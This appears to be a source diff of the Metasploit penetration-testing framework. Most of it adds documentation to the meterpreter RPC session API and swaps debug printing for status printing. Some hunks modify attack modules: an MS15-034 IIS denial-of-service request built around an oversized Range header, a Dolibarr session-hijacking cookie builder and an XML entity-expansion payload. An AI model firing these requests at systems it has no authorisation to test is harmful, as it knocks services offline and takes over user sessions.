# @raise [Msf::RPC::Exception] An error that could be one of these:
|
||||||
|
# * 500 Session ID is unknown.
|
||||||
|
# * 500 Invalid session type.
|
||||||
|
# @return [Hash] It contains the following key:
|
||||||
|
# * 'data' [String] Data read.
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('session.meterpreter_read', 2)
|
||||||
def rpc_meterpreter_read( sid)
|
def rpc_meterpreter_read( sid)
|
||||||
s = _valid_session(sid,"meterpreter")
|
s = _valid_session(sid,"meterpreter")
|
||||||
|
|
||||||
|
@ -88,6 +172,20 @@ class RPC_Session < RPC_Base
|
||||||
{ "data" => data }
|
{ "data" => data }
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Reads from a session (such as a command output).
|
||||||
|
#
|
||||||
|
# @param [Fixnum] sid Session ID.
|
||||||
|
# @param [Fixnum] ptr Pointer.
|
||||||
|
# @raise [Msf::RPC::Exception] An error that could be one of these:
|
||||||
|
# * 500 Session ID is unknown.
|
||||||
|
# * 500 Invalid session type.
|
||||||
|
# * 500 Session is disconnected.
|
||||||
|
# @return [Hash] It contains the following key:
|
||||||
|
# * 'seq' [String] Sequence.
|
||||||
|
# * 'data' [String] Read data.
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('session.ring_read', 2)
|
||||||
def rpc_ring_read( sid, ptr=nil)
|
def rpc_ring_read( sid, ptr=nil)
|
||||||
s = _valid_session(sid,"ring")
|
s = _valid_session(sid,"ring")
|
||||||
begin
|
begin
|
||||||
|
@ -98,6 +196,19 @@ class RPC_Session < RPC_Base
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Sends an input to a session (such as a command).
|
||||||
|
#
|
||||||
|
# @param [Fixnum] sid Session ID.
|
||||||
|
# @param [String] data Data to write.
|
||||||
|
# @raise [Msf::RPC::Exception] An error that could be one of these:
|
||||||
|
# * 500 Session ID is unknown.
|
||||||
|
# * 500 Invalid session type.
|
||||||
|
# * 500 Session is disconnected.
|
||||||
|
# @return [Hash] It contains the following key:
|
||||||
|
# * 'write_count' [String] Number of bytes written.
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('session.ring_put', 2, "DATA")
|
||||||
def rpc_ring_put( sid, data)
|
def rpc_ring_put( sid, data)
|
||||||
s = _valid_session(sid,"ring")
|
s = _valid_session(sid,"ring")
|
||||||
begin
|
begin
|
||||||
|
@ -108,11 +219,32 @@ class RPC_Session < RPC_Base
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Returns the last sequence (last issued ReadPointer) for a shell session.
|
||||||
|
#
|
||||||
|
# @param [Fixnum] sid Session ID.
|
||||||
|
# @raise [Msf::RPC::Exception] An error that could be one of these:
|
||||||
|
# * 500 Session ID is unknown.
|
||||||
|
# * 500 Invalid session type.
|
||||||
|
# @return [Hash] It contains the following key:
|
||||||
|
# * 'seq' [String] Sequence.
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('session.ring_last', 2)
|
||||||
def rpc_ring_last( sid)
|
def rpc_ring_last( sid)
|
||||||
s = _valid_session(sid,"ring")
|
s = _valid_session(sid,"ring")
|
||||||
{ "seq" => s.ring.last_sequence.to_s }
|
{ "seq" => s.ring.last_sequence.to_s }
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Clears a shell session. This may be useful to reclaim memory for idle background sessions.
|
||||||
|
#
|
||||||
|
# @param [Fixnum] sid Session ID.
|
||||||
|
# @raise [Msf::RPC::Exception] An error that could be one of these:
|
||||||
|
# * 500 Session ID is unknown.
|
||||||
|
# * 500 Invalid session type.
|
||||||
|
# @return [Hash] A hash indicating whether the action was successful or not. It contains:
|
||||||
|
# * 'result' [String] Either 'success' or 'failure'.
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('session.ring_clear', 2)
|
||||||
def rpc_ring_clear( sid)
|
def rpc_ring_clear( sid)
|
||||||
s = _valid_session(sid,"ring")
|
s = _valid_session(sid,"ring")
|
||||||
res = s.ring.clear_data
|
res = s.ring.clear_data
|
||||||
|
@ -123,9 +255,23 @@ class RPC_Session < RPC_Base
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Sends an input to a meterpreter prompt.
|
||||||
|
# You may want to use #rpc_meterpreter_read to retrieve the output.
|
||||||
#
|
#
|
||||||
# Run a single meterpreter console command
|
# @note Multiple concurrent callers writing and reading the same Meterperter session can lead to
|
||||||
#
|
# a conflict, where one caller gets the others output and vice versa. Concurrent access to a
|
||||||
|
# Meterpreter session is best handled by post modules.
|
||||||
|
# @param [Fixnum] sid Session ID.
|
||||||
|
# @param [String] data Input to the meterpreter prompt.
|
||||||
|
# @raise [Msf::RPC::Exception] An error that could be one of these:
|
||||||
|
# * 500 Session ID is unknown.
|
||||||
|
# * 500 Invalid session type.
|
||||||
|
# @return [Hash] A hash indicating the action was successful or not. It contains the following key:
|
||||||
|
# * 'result' [String] Either 'success' or 'failure'.
|
||||||
|
# @see #rpc_meterpreter_run_single
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('session.meterpreter_write', 2, "sysinfo")
|
||||||
def rpc_meterpreter_write( sid, data)
|
def rpc_meterpreter_write( sid, data)
|
||||||
s = _valid_session(sid,"meterpreter")
|
s = _valid_session(sid,"meterpreter")
|
||||||
|
|
||||||
|
@ -145,6 +291,17 @@ class RPC_Session < RPC_Base
|
||||||
{ "result" => "success" }
|
{ "result" => "success" }
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Detaches from a meterpreter session. Serves the same purpose as [CTRL]+[Z].
|
||||||
|
#
|
||||||
|
# @param [Fixnum] sid Session ID.
|
||||||
|
# @raise [Msf::RPC::Exception] An error that could be one of these:
|
||||||
|
# * 500 Session ID is unknown.
|
||||||
|
# * 500 Invalid session type.
|
||||||
|
# @return [Hash] A hash indicating the action was successful or not. It contains:
|
||||||
|
# * 'result' [String] Either 'success' or 'failure'.
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('session.meterpreter_session_detach', 3)
|
||||||
def rpc_meterpreter_session_detach(sid)
|
def rpc_meterpreter_session_detach(sid)
|
||||||
s = _valid_session(sid,"meterpreter")
|
s = _valid_session(sid,"meterpreter")
|
||||||
s.channels.each_value do |ch|
|
s.channels.each_value do |ch|
|
||||||
|
@ -156,6 +313,18 @@ class RPC_Session < RPC_Base
|
||||||
{ "result" => "failure" }
|
{ "result" => "failure" }
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Kills a meterpreter session. Serves the same purpose as [CTRL]+[C].
|
||||||
|
#
|
||||||
|
# @param [Fixnum] sid Session ID.
|
||||||
|
# @raise [Msf::RPC::Exception] An error that could be one of these:
|
||||||
|
# * 500 Session ID is unknown.
|
||||||
|
# * 500 Invalid session type.
|
||||||
|
# @return [Hash] A hash indicating the action was successful or not.
|
||||||
|
# It contains the following key:
|
||||||
|
# * 'result' [String] Either 'success' or 'failure'.
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('session.meterpreter_session_kill', 3)
|
||||||
def rpc_meterpreter_session_kill(sid)
|
def rpc_meterpreter_session_kill(sid)
|
||||||
s = _valid_session(sid,"meterpreter")
|
s = _valid_session(sid,"meterpreter")
|
||||||
s.channels.each_value do |ch|
|
s.channels.each_value do |ch|
|
||||||
|
@ -167,12 +336,38 @@ class RPC_Session < RPC_Base
|
||||||
{ "result" => "failure" }
|
{ "result" => "failure" }
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Returns a tab-completed version of your meterpreter prompt input.
|
||||||
|
#
|
||||||
|
# @param [Fixnum] sid Session ID.
|
||||||
|
# @param [String] line Input.
|
||||||
|
# @raise [Msf::RPC::Exception] An error that could be one of these:
|
||||||
|
# * 500 Session ID is unknown.
|
||||||
|
# * 500 Invalid session type.
|
||||||
|
# @return [Hash] The tab-completed result. It contains the following key:
|
||||||
|
# * 'tabs' [String] The tab-completed version of your input.
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# # This returns:
|
||||||
|
# # {"tabs"=>["sysinfo"]}
|
||||||
|
# rpc.call('session.meterpreter_tabs', 3, 'sysin')
|
||||||
def rpc_meterpreter_tabs(sid, line)
|
def rpc_meterpreter_tabs(sid, line)
|
||||||
s = _valid_session(sid,"meterpreter")
|
s = _valid_session(sid,"meterpreter")
|
||||||
{ "tabs" => s.console.tab_complete(line) }
|
{ "tabs" => s.console.tab_complete(line) }
|
||||||
end
|
end
|
||||||
|
|
||||||
# runs a meterpreter command even if interacting with a shell or other channel
|
|
||||||
|
# Runs a meterpreter command even if interacting with a shell or other channel.
|
||||||
|
# You will want to use the #rpc_meterpreter_read to retrieve the output.
|
||||||
|
#
|
||||||
|
# @param [Fixnum] sid Session ID.
|
||||||
|
# @param [String] data Command.
|
||||||
|
# @raise [Msf::RPC::Exception] An error that could be one of these:
|
||||||
|
# * 500 Session ID is unknown.
|
||||||
|
# * 500 Invalid session type.
|
||||||
|
# @return [Hash] A hash indicating the action was successful. It contains the following key:
|
||||||
|
# * 'result' [String] 'success'
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('session.meterpreter_run_single', 3, 'getpid')
|
||||||
def rpc_meterpreter_run_single( sid, data)
|
def rpc_meterpreter_run_single( sid, data)
|
||||||
s = _valid_session(sid,"meterpreter")
|
s = _valid_session(sid,"meterpreter")
|
||||||
|
|
||||||
|
@ -184,16 +379,49 @@ class RPC_Session < RPC_Base
|
||||||
{ "result" => "success" }
|
{ "result" => "success" }
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Runs a meterpreter script.
|
||||||
|
#
|
||||||
|
# @deprecated Metasploit no longer maintains or accepts meterpreter scripts. Please try to use
|
||||||
|
# post modules instead.
|
||||||
|
# @see Msf::RPC::RPC_Module#rpc_execute You should use Msf::RPC::RPC_Module#rpc_execute instead.
|
||||||
|
# @param [Fixnum] sid Session ID.
|
||||||
|
# @param [String] data Meterpreter script name.
|
||||||
|
# @return [Hash] A hash indicating the action was successful. It contains the following key:
|
||||||
|
# * 'result' [String] 'success'
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('session.meterpreter_script', 3, 'checkvm')
|
||||||
def rpc_meterpreter_script( sid, data)
|
def rpc_meterpreter_script( sid, data)
|
||||||
rpc_meterpreter_run_single( sid, "run #{data}")
|
rpc_meterpreter_run_single( sid, "run #{data}")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Returns the separator used by the meterpreter.
|
||||||
|
#
|
||||||
|
# @param [Fixnum] sid Session ID.
|
||||||
|
# @raise [Msf::RPC::Exception] An error that could be one of these:
|
||||||
|
# * 500 Session ID is unknown.
|
||||||
|
# * 500 Invalid session type.
|
||||||
|
# @return [Hash] A hash that contains the separator. It contains the following key:
|
||||||
|
# * 'separator' [String] The separator used by the meterpreter.
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# # This returns:
|
||||||
|
# # {"separator"=>"\\"}
|
||||||
|
# rpc.call('session.meterpreter_directory_separator', 3)
|
||||||
def rpc_meterpreter_directory_separator(sid)
|
def rpc_meterpreter_directory_separator(sid)
|
||||||
s = _valid_session(sid,"meterpreter")
|
s = _valid_session(sid,"meterpreter")
|
||||||
|
|
||||||
{ "separator" => s.fs.file.separator }
|
{ "separator" => s.fs.file.separator }
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Returns all the compatible post modules for this session.
|
||||||
|
#
|
||||||
|
# @param [Fixnum] sid Session ID.
|
||||||
|
# @return [Hash] Post modules. It contains the following key:
|
||||||
|
# * 'modules' [Array<string>] An array of post module names. Example: ['post/windows/wlan/wlan_profile']
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('session.compatible_modules', 3)
|
||||||
def rpc_compatible_modules( sid)
|
def rpc_compatible_modules( sid)
|
||||||
ret = []
|
ret = []
|
||||||
|
|
||||||
|
|
|
@ -32,10 +32,10 @@ module Msf::HTTP::Typo3::Login
|
||||||
end
|
end
|
||||||
n = n_match[1]
|
n = n_match[1]
|
||||||
|
|
||||||
vprint_debug("e: #{e}")
|
vprint_status("e: #{e}")
|
||||||
vprint_debug("n: #{n}")
|
vprint_status("n: #{n}")
|
||||||
rsa_enc = typo3_helper_login_rsa(e, n, pass)
|
rsa_enc = typo3_helper_login_rsa(e, n, pass)
|
||||||
vprint_debug("RSA Hash: #{rsa_enc}")
|
vprint_status("RSA Hash: #{rsa_enc}")
|
||||||
# make login request
|
# make login request
|
||||||
vars_post = {
|
vars_post = {
|
||||||
'n' => '',
|
'n' => '',
|
||||||
|
@ -58,10 +58,10 @@ module Msf::HTTP::Typo3::Login
|
||||||
})
|
})
|
||||||
if res_login
|
if res_login
|
||||||
if res_login.body =~ /<!-- ###LOGIN_ERROR### begin -->(.*)<!-- ###LOGIN_ERROR### end -->/im
|
if res_login.body =~ /<!-- ###LOGIN_ERROR### begin -->(.*)<!-- ###LOGIN_ERROR### end -->/im
|
||||||
vprint_debug(strip_tags($1))
|
vprint_status(strip_tags($1))
|
||||||
return nil
|
return nil
|
||||||
elsif res_login.body =~ /<p class="t3-error-text">(.*?)<\/p>/im
|
elsif res_login.body =~ /<p class="t3-error-text">(.*?)<\/p>/im
|
||||||
vprint_debug(strip_tags($1))
|
vprint_status(strip_tags($1))
|
||||||
return nil
|
return nil
|
||||||
else
|
else
|
||||||
cookies = res_login.get_cookies
|
cookies = res_login.get_cookies
|
||||||
|
|
|
@ -2070,29 +2070,6 @@ class Core
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
|
||||||
# If the value starts with file: exists, and size isn't too big load the file as the value
|
|
||||||
# Otherwise keep the old value
|
|
||||||
if value =~ /^file:(.*)/
|
|
||||||
fname = $1
|
|
||||||
|
|
||||||
begin
|
|
||||||
fd = ::File.new(fname, 'rb')
|
|
||||||
rescue ::Errno::ENOENT
|
|
||||||
print_error('The file name specified does not exist')
|
|
||||||
value = datastore[name]
|
|
||||||
fd = nil
|
|
||||||
end
|
|
||||||
|
|
||||||
if fd && fd.stat.size > (1024 * 1024)
|
|
||||||
print_error('The file name specified is too big (over 1Mb)')
|
|
||||||
value = datastore[name]
|
|
||||||
fd.close
|
|
||||||
elsif fd
|
|
||||||
value = fd.read(fd.stat.size)
|
|
||||||
fd.close
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
if append
|
if append
|
||||||
datastore[name] = datastore[name] + value
|
datastore[name] = datastore[name] + value
|
||||||
else
|
else
|
||||||
|
@ -2346,7 +2323,7 @@ class Core
|
||||||
# Walk the plugins array
|
# Walk the plugins array
|
||||||
framework.plugins.each { |plugin|
|
framework.plugins.each { |plugin|
|
||||||
# Unload the plugin if it matches the name we're searching for
|
# Unload the plugin if it matches the name we're searching for
|
||||||
if (plugin.name == args[0])
|
if (plugin.name.downcase == args[0].downcase)
|
||||||
print("Unloading plugin #{args[0]}...")
|
print("Unloading plugin #{args[0]}...")
|
||||||
framework.plugins.unload(plugin)
|
framework.plugins.unload(plugin)
|
||||||
print_line("unloaded.")
|
print_line("unloaded.")
|
||||||
|
|
|
@ -132,7 +132,7 @@ module ModuleCommandDispatcher
|
||||||
hosts = Rex::Socket::RangeWalker.new(opt.normalize(ip_range_arg))
|
hosts = Rex::Socket::RangeWalker.new(opt.normalize(ip_range_arg))
|
||||||
|
|
||||||
# Check multiple hosts
|
# Check multiple hosts
|
||||||
last_rhost_opt = mod.rhost
|
last_rhost_opt = mod.datastore['RHOST']
|
||||||
last_rhosts_opt = mod.datastore['RHOSTS']
|
last_rhosts_opt = mod.datastore['RHOSTS']
|
||||||
mod.datastore['RHOSTS'] = ip_range_arg
|
mod.datastore['RHOSTS'] = ip_range_arg
|
||||||
begin
|
begin
|
||||||
|
@ -169,7 +169,7 @@ module ModuleCommandDispatcher
|
||||||
instance = mod
|
instance = mod
|
||||||
end
|
end
|
||||||
|
|
||||||
rhost = instance.rhost
|
rhost = instance.datastore['RHOST']
|
||||||
rport = nil
|
rport = nil
|
||||||
peer = rhost
|
peer = rhost
|
||||||
if instance.datastore['rport']
|
if instance.datastore['rport']
|
||||||
|
|
|
@ -87,10 +87,6 @@ class BidirectionalPipe < Rex::Ui::Text::Input
|
||||||
print_line('[+] ' + msg)
|
print_line('[+] ' + msg)
|
||||||
end
|
end
|
||||||
|
|
||||||
def print_debug(msg='')
|
|
||||||
print_line('[!] ' + msg)
|
|
||||||
end
|
|
||||||
|
|
||||||
def flush
|
def flush
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -1,6 +1,7 @@
|
||||||
# -*- coding: binary -*-
|
# -*- coding: binary -*-
|
||||||
require 'uri'
|
require 'uri'
|
||||||
require 'rex/proto/http'
|
require 'rex/proto/http'
|
||||||
|
require 'nokogiri'
|
||||||
|
|
||||||
module Rex
|
module Rex
|
||||||
module Proto
|
module Proto
|
||||||
|
@ -82,6 +83,34 @@ class Response < Packet
|
||||||
return cookies.strip
|
return cookies.strip
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Returns a collection of found hidden inputs
|
||||||
|
#
|
||||||
|
# @return [Array<Hash>] An array, each element represents a form that contains a hash of found hidden inputs
|
||||||
|
# * 'name' [String] The hidden input's original name. The value is the hidden input's original value.
|
||||||
|
# @example
|
||||||
|
# res = send_request_cgi('uri'=>'/')
|
||||||
|
# inputs = res.get_hidden_inputs
|
||||||
|
# session_id = inputs[0]['sessionid'] # The first form's 'sessionid' hidden input
|
||||||
|
def get_hidden_inputs
|
||||||
|
forms = []
|
||||||
|
noko = Nokogiri::HTML(self.body)
|
||||||
|
noko.search("form").each_entry do |form|
|
||||||
|
found_inputs = {}
|
||||||
|
form.search("input").each_entry do |input|
|
||||||
|
input_type = input.attributes['type'] ? input.attributes['type'].value : ''
|
||||||
|
next if input_type !~ /hidden/i
|
||||||
|
|
||||||
|
input_name = input.attributes['name'] ? input.attributes['name'].value : ''
|
||||||
|
input_value = input.attributes['value'] ? input.attributes['value'].value : ''
|
||||||
|
found_inputs[input_name] = input_value unless input_name.empty?
|
||||||
|
end
|
||||||
|
forms << found_inputs unless found_inputs.empty?
|
||||||
|
end
|
||||||
|
|
||||||
|
forms
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Updates the various parts of the HTTP response command string.
|
# Updates the various parts of the HTTP response command string.
|
||||||
#
|
#
|
||||||
|
|
|
@ -30,9 +30,6 @@ class Output
|
||||||
def print_good(msg='')
|
def print_good(msg='')
|
||||||
end
|
end
|
||||||
|
|
||||||
def print_debug(msg='')
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Prints a status line.
|
# Prints a status line.
|
||||||
#
|
#
|
||||||
|
|
|
@ -56,16 +56,6 @@ module Subscriber
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Wraps user_output.print_debug
|
|
||||||
#
|
|
||||||
def print_debug(msg='')
|
|
||||||
if (user_output)
|
|
||||||
print_blank_line if user_output.prompting?
|
|
||||||
user_output.print_debug(msg)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Wraps user_output.print_warning
|
# Wraps user_output.print_warning
|
||||||
#
|
#
|
||||||
|
|
|
@ -55,10 +55,6 @@ class Output < Rex::Ui::Output
|
||||||
print_line("%bld%grn[+]%clr #{msg}")
|
print_line("%bld%grn[+]%clr #{msg}")
|
||||||
end
|
end
|
||||||
|
|
||||||
def print_debug(msg = '')
|
|
||||||
print_line("%bld%cya[!]%clr #{msg}")
|
|
||||||
end
|
|
||||||
|
|
||||||
def print_status(msg = '')
|
def print_status(msg = '')
|
||||||
print_line("%bld%blu[*]%clr #{msg}")
|
print_line("%bld%blu[*]%clr #{msg}")
|
||||||
end
|
end
|
||||||
|
|
|
@ -31,6 +31,7 @@ class Output::File < Rex::Ui::Text::Output
|
||||||
self.fd.flush
|
self.fd.flush
|
||||||
msg
|
msg
|
||||||
end
|
end
|
||||||
|
alias_method :write, :print_raw
|
||||||
|
|
||||||
def close
|
def close
|
||||||
self.fd.close if self.fd
|
self.fd.close if self.fd
|
||||||
|
|
|
@ -37,7 +37,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
['CVE', '2015-1635'],
|
['CVE', '2015-1635'],
|
||||||
['MSB', 'MS15-034'],
|
['MSB', 'MS15-034'],
|
||||||
['URL', 'http://pastebin.com/ypURDPc4'],
|
['URL', 'http://pastebin.com/ypURDPc4'],
|
||||||
['URL', 'https://github.com/rapid7/metasploit-framework/pull/5150']
|
['URL', 'https://github.com/rapid7/metasploit-framework/pull/5150'],
|
||||||
|
['URL', 'https://community.qualys.com/blogs/securitylabs/2015/04/20/ms15-034-analyze-and-remote-detection'],
|
||||||
|
['URL', 'http://www.securitysift.com/an-analysis-of-ms15-034/']
|
||||||
],
|
],
|
||||||
'License' => MSF_LICENSE
|
'License' => MSF_LICENSE
|
||||||
))
|
))
|
||||||
|
@ -50,6 +52,10 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
deregister_options('RHOST')
|
deregister_options('RHOST')
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def upper_range
|
||||||
|
0xFFFFFFFFFFFFFFFF
|
||||||
|
end
|
||||||
|
|
||||||
def run_host(ip)
|
def run_host(ip)
|
||||||
if check_host(ip) == Exploit::CheckCode::Vulnerable
|
if check_host(ip) == Exploit::CheckCode::Vulnerable
|
||||||
dos_host(ip)
|
dos_host(ip)
|
||||||
|
@ -58,7 +64,34 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def get_file_size(ip)
|
||||||
|
@file_size ||= lambda {
|
||||||
|
file_size = -1
|
||||||
|
uri = normalize_uri(target_uri.path)
|
||||||
|
res = send_request_raw({'uri'=>uri})
|
||||||
|
|
||||||
|
unless res
|
||||||
|
vprint_error("#{ip}:#{rport} - Connection timed out")
|
||||||
|
return file_size
|
||||||
|
end
|
||||||
|
|
||||||
|
if res.code == 404
|
||||||
|
vprint_error("#{ip}:#{rport} - You got a 404. URI must be a valid resource.")
|
||||||
|
return file_size
|
||||||
|
end
|
||||||
|
|
||||||
|
file_size = res.body.length
|
||||||
|
vprint_status("#{ip}:#{rport} - File length: #{file_size} bytes")
|
||||||
|
|
||||||
|
return file_size
|
||||||
|
}.call
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
def dos_host(ip)
|
def dos_host(ip)
|
||||||
|
file_size = get_file_size(ip)
|
||||||
|
lower_range = file_size - 2
|
||||||
|
|
||||||
# In here we have to use Rex because if we dos it, it causes our module to hang too
|
# In here we have to use Rex because if we dos it, it causes our module to hang too
|
||||||
uri = normalize_uri(target_uri.path)
|
uri = normalize_uri(target_uri.path)
|
||||||
begin
|
begin
|
||||||
|
@ -68,7 +101,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
'uri' => uri,
|
'uri' => uri,
|
||||||
'method' => 'GET',
|
'method' => 'GET',
|
||||||
'headers' => {
|
'headers' => {
|
||||||
'Range' => 'bytes=18-18446744073709551615'
|
'Range' => "bytes=#{lower_range}-#{upper_range}"
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
cli.send_request(req)
|
cli.send_request(req)
|
||||||
|
@ -78,26 +111,16 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
print_status("#{ip}:#{rport} - DOS request sent")
|
print_status("#{ip}:#{rport} - DOS request sent")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def check_host(ip)
|
def check_host(ip)
|
||||||
|
return Exploit::CheckCode::Unknown if get_file_size(ip) == -1
|
||||||
|
|
||||||
uri = normalize_uri(target_uri.path)
|
uri = normalize_uri(target_uri.path)
|
||||||
|
|
||||||
res = send_request_raw({'uri'=>uri})
|
|
||||||
|
|
||||||
unless res
|
|
||||||
vprint_error("#{ip}:#{rport} - Connection timed out")
|
|
||||||
return Exploit::CheckCode::Unknown
|
|
||||||
end
|
|
||||||
|
|
||||||
if res.code == 404
|
|
||||||
vprint_error("#{ip}:#{rport} - You got a 404. URI must be a valid resource.")
|
|
||||||
return Exploit::CheckCode::Unknown
|
|
||||||
end
|
|
||||||
|
|
||||||
res = send_request_raw({
|
res = send_request_raw({
|
||||||
'uri' => uri,
|
'uri' => uri,
|
||||||
'method' => 'GET',
|
'method' => 'GET',
|
||||||
'headers' => {
|
'headers' => {
|
||||||
'Range' => 'bytes=0-18446744073709551615'
|
'Range' => "bytes=0-#{upper_range}"
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
if res && res.body.include?('Requested Range Not Satisfiable')
|
if res && res.body.include?('Requested Range Not Satisfiable')
|
||||||
|
|
|
@ -129,7 +129,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
}
|
}
|
||||||
|
|
||||||
space_to_fill = size_bytes - empty_xml.size
|
space_to_fill = size_bytes - empty_xml.size
|
||||||
vprint_debug("#{peer} - max XML space to fill: #{space_to_fill} bytes")
|
vprint_status("#{peer} - max XML space to fill: #{space_to_fill} bytes")
|
||||||
|
|
||||||
payload = "&#{entity};" * (space_to_fill / 6)
|
payload = "&#{entity};" * (space_to_fill / 6)
|
||||||
entity_value_length = space_to_fill - payload.length
|
entity_value_length = space_to_fill - payload.length
|
||||||
|
|
|
@ -101,7 +101,6 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
# Verify if session cookie is valid and return user's ID
|
# Verify if session cookie is valid and return user's ID
|
||||||
#
|
#
|
||||||
def get_user_id
|
def get_user_id
|
||||||
# print_debug("#{peer} - Trying to hijack session '#{@cookie}'")
|
|
||||||
res = send_request_cgi({
|
res = send_request_cgi({
|
||||||
'uri' => normalize_uri(target_uri.path, 'user/fiche.php'),
|
'uri' => normalize_uri(target_uri.path, 'user/fiche.php'),
|
||||||
'cookie' => @cookie
|
'cookie' => @cookie
|
||||||
|
@ -121,7 +120,6 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
# Construct cookie using token
|
# Construct cookie using token
|
||||||
#
|
#
|
||||||
def create_cookie(token)
|
def create_cookie(token)
|
||||||
# print_debug("#{peer} - Creating a cookie with token '#{token}'")
|
|
||||||
res = send_request_cgi({
|
res = send_request_cgi({
|
||||||
'uri' => normalize_uri(target_uri.path, 'user/fiche.php'),
|
'uri' => normalize_uri(target_uri.path, 'user/fiche.php'),
|
||||||
'cookie' => "DOLSESSID_#{Rex::Text.rand_text_alphanumeric(10)}=#{token}"
|
'cookie' => "DOLSESSID_#{Rex::Text.rand_text_alphanumeric(10)}=#{token}"
|
||||||
|
|
|
@ -330,7 +330,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
i, a = 0, []
|
i, a = 0, []
|
||||||
# Most common SRV Records
|
# Most common SRV Records
|
||||||
srvrcd = [
|
srvrcd = [
|
||||||
"_gc._tcp.","_kerberos._tcp.", "_kerberos._udp.","_ldap._tcp","_test._tcp.",
|
"_gc._tcp.","_kerberos._tcp.", "_kerberos._udp.","_ldap._tcp.","_test._tcp.",
|
||||||
"_sips._tcp.","_sip._udp.","_sip._tcp.","_aix._tcp.","_aix._tcp.","_finger._tcp.",
|
"_sips._tcp.","_sip._udp.","_sip._tcp.","_aix._tcp.","_aix._tcp.","_finger._tcp.",
|
||||||
"_ftp._tcp.","_http._tcp.","_nntp._tcp.","_telnet._tcp.","_whois._tcp.","_h323cs._tcp.",
|
"_ftp._tcp.","_http._tcp.","_nntp._tcp.","_telnet._tcp.","_whois._tcp.","_h323cs._tcp.",
|
||||||
"_h323cs._udp.","_h323be._tcp.","_h323be._udp.","_h323ls._tcp.","_h323ls._udp.",
|
"_h323cs._udp.","_h323be._tcp.","_h323be._udp.","_h323ls._tcp.","_h323ls._udp.",
|
||||||
|
|
|
@ -31,7 +31,6 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
Opt::RPORT(8080),
|
Opt::RPORT(8080),
|
||||||
OptBool.new('DEBUG', [ false, 'Enable requests debugging output', false ]),
|
|
||||||
OptBool.new('MULTIPORTS', [ false, 'Multiple ports will be used : 80, 1080, 3128, 8080, 8123', false ]),
|
OptBool.new('MULTIPORTS', [ false, 'Multiple ports will be used : 80, 1080, 3128, 8080, 8123', false ]),
|
||||||
OptBool.new('RANDOMIZE_PORTS', [ false, 'Randomize the order the ports are probed', false ]),
|
OptBool.new('RANDOMIZE_PORTS', [ false, 'Randomize the order the ports are probed', false ]),
|
||||||
OptBool.new('VERIFY_CONNECT', [ false, 'Enable test for CONNECT method', false ]),
|
OptBool.new('VERIFY_CONNECT', [ false, 'Enable test for CONNECT method', false ]),
|
||||||
|
@ -193,10 +192,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
|
|
||||||
def check_host(target_host,target_port,site,user_agent)
|
def check_host(target_host,target_port,site,user_agent)
|
||||||
|
vprint_status("Checking #{target_host}:#{target_port} [#{site}]")
|
||||||
if datastore['DEBUG']
|
|
||||||
print_status("Checking #{target_host}:#{target_port} [#{site}]")
|
|
||||||
end
|
|
||||||
|
|
||||||
is_valid,retcode,retvia,retsrv = send_request(site,user_agent)
|
is_valid,retcode,retvia,retsrv = send_request(site,user_agent)
|
||||||
|
|
||||||
|
|
|
@ -56,7 +56,6 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
if not res.body.include?("llow:")
|
if not res.body.include?("llow:")
|
||||||
